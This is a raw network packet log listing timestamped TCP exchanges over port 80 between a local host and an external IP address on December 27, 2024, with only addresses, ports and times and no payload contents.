Dec 27, 2024 15:04:18.383488894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.383625031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.383668900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.384212971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.384352922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.384397984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.385215044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.385271072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.385312080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.386033058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.386096954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.386142969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.386883020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.409342051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.409389019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.409555912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.409648895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.409713030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.409718037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.409796953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.409842968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.410617113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.410705090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.410748959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.421473980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.421578884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.421675920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.459700108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.459778070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.459855080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.460011959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.460148096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.460196018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.461036921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.461108923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.461153984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.461549997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.461622000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.461663008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.462431908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.462577105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.462625027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.463309050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.463428020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.463485956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.503112078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.503158092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.503231049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.503350019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.503477097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.503516912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.503535986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.504240990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.504291058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.504339933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.505177021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.505218983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.505228043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.506190062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.506202936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.506237030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.506923914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.506972075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.507035017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.507770061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.507817030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.507878065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.508682966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.508738995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.508795023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.509526968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.509577990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.509587049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.510560989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.510613918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.510623932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.533586979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.533689022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.533706903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.534045935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.534101009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.534143925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.534929991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.534985065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.535021067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.535752058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.535805941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.654458046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.654476881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.654562950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.655178070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.655190945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.655210018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.655244112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.702723980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.774194002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.774270058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.774324894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.774674892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.774688005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.774740934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.893668890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893687963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893701077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893717051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893729925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893737078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893748045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893760920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893759966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.893774033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893786907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893801928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893815041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893822908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.893827915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893840075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893846035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.893852949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893865108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893867970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.893877983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893889904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893889904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.893903017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893914938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893914938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.893928051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.893938065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.893964052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894001961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894017935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894035101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894042969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894051075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894068003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894073963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894082069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894090891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894103050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894119978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894129992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894133091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894145966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894155025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894157887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894170046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894177914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894182920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894196987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894200087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894208908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894215107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894221067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894233942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894248009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894252062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894264936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894288063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.894870996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894886017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894897938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894908905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894918919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894932032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894937992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894943953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894954920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.894968987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895005941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895172119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895188093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895200014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895211935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895214081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895226955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895245075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895281076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895328045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895343065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895359039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895378113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895389080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895391941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895406008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895418882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895418882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895431042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895442963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895454884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895461082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895467043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895472050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895478964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895502090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895514965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895515919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.895528078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895538092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.895576954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896145105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896159887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896178961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896190882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896202087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896203041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896214008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896226883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896243095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896271944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896317005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896331072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896342039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896354914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896367073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896380901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896388054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896393061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896401882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896405935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896419048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896430969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896431923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896449089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896457911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896461010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896476030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896481991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896486044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.896505117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896537066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.896858931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.897049904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897063017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897073984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897105932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.897116899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897128105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897139072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897156954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.897161007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897175074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897182941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.897187948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897201061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897212029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.897213936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897227049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897241116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.897268057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.897627115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897665977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897679090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897690058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897703886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.897731066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.897753954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.903517008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.907949924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.908041000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.908051014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.908179045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.908222914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.908358097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.909070015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.909128904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.909162998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.909961939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.910034895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.910058975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.910768032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.910823107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.957638025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.957655907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.957740068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.957956076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.958051920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.958098888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.959012032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.959372997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.959415913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.959732056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.959830046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.959873915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.960614920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.960743904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.960791111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:18.961484909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.961586952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:18.961631060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.000983953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.001216888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.001226902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.001281023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.001353979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.001394987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.001395941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.002180099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.002238035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.002315044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.003092051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.003144979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.003288984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.003906012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.003983974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.004129887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.004812002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.004841089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.004861116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.043987036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.044065952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.044109106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.093334913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.166101933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.166239023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.166296959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.166510105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.166553974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.166596889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.167350054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.167483091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.167526007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.168212891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.168535948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.168585062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.405472994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.525147915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.860552073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.860671997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.860733032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.860857010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.860980988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.861037970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.861490965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.861577988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.861620903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.862416029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.862524986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:19.862571955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:19.863228083 CET	80	49743	185.215.113.16	192.168.2.4
